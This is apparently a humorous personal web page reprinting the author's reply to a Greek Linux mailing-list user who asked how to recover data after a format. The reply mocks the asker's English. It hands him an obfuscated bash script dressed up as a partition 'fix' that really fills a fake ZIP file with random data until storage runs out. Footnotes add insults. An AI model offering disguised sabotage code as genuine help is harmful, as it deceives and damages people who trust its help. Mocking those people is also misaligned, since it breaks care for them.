

This guy wrote a message to linux-greek-users, a Linux-related
mailing list for Greek users. Although he's Greek, his message was in (less
than perfect) English.
This sort of thing sets my IS_FLAMER flag. I replied
in a similar manner (this is funnier if you can read obfuscated UNIX
shell scripts). There's an explanation of the script and a translation
of the (latinised) Greek bits at the bottom.
In Weneday, 28 Februari 2001, Zero Comrade writed:
> So, I want to recover some lost data after format
>
> Is there any good utility out there (for Win98)?
Sorry about Iglish, I not speak the good. [1]
You use simple script down for to make data recover partition /dev/hda1.
Be a patent, takes long time. [3]
------------------------------------------------------------------------
\#!/bin/bash2
\# Fix partition. Generate "FIXED.zip" file of fixed partition.
\# You uncompress in clean dos.
partition=/dev/hda1
fixedfile=FIXED.zip
prog=msdos.fixzip
\# No touch anything down there
prog=${ash_nazg_durbatuluk:-dd}
$prog if=$partition bs=$[1<<28]|$prog conv=ebcdic' \
if=`echo -e '\057d\145v\057ur\141\156\144\157m'` bs=$[1<<28] \
of=$fixedfile count=$[1<<27]
------------------------------------------------------------------------
HTH. HAND.
I kiss you. [2]
-------
[1] Poia einai h epishmh glwssa ths listas; Giati an den yparxei, na fwnaksw
kati glwssologous filous mou na mou metafrazoun oles tis apories se
(frikths poiothtas) arxaia Aigyptiaka. Ankh kak.
[2] STR.
[3] Askhsh gia ton anagnwsth: dwste ton orismo tou orou "trust" sthn
asfaleia systhmatwn mesa se 10 lekseis, *xwris* na xrhsimopoihsete orous
opws "dildo", "script kiddy", kai alla klhtika moria twn N. Ellhnikwn
[4,5].
[4] Re.
[5] M\141l\141k\141.
=----------------------------------------------= 64*>:00p258**44$$^>4$,1-:#v_v
| Alexios Chouchoulas, the Unpronounceable One | 4$#^; BEFUNGE97 ;^#_@#:-1$>#<
| http://www.vennea.demon.co.uk/ | 4*2-*26g00*:-*58:
What the script does: creates a file with a basic ZIP header, then proceeds
to fill it with random numbers. It doesn't really terminate: any modern
computer will run out of main and peripheral memory long before
that.
The footnotes translated:
[1] What's the list's official language? Cause if there isn't one, I'll
get a few linguist friends of mine to translate all questions in
(terrible quality) ancient Egyptian. Ankh kak.
[2] STR.
[3] Exercise for the reader: define the term ‘trust’ as used in systems
security in 10 words, without using terms such as ‘dildo’, ‘script
kiddy', and other modern Greek aprefixes [4,5]. (this won't make sense if you
don't know any Greek).
[4] (oi) you.
[5] W\141nker.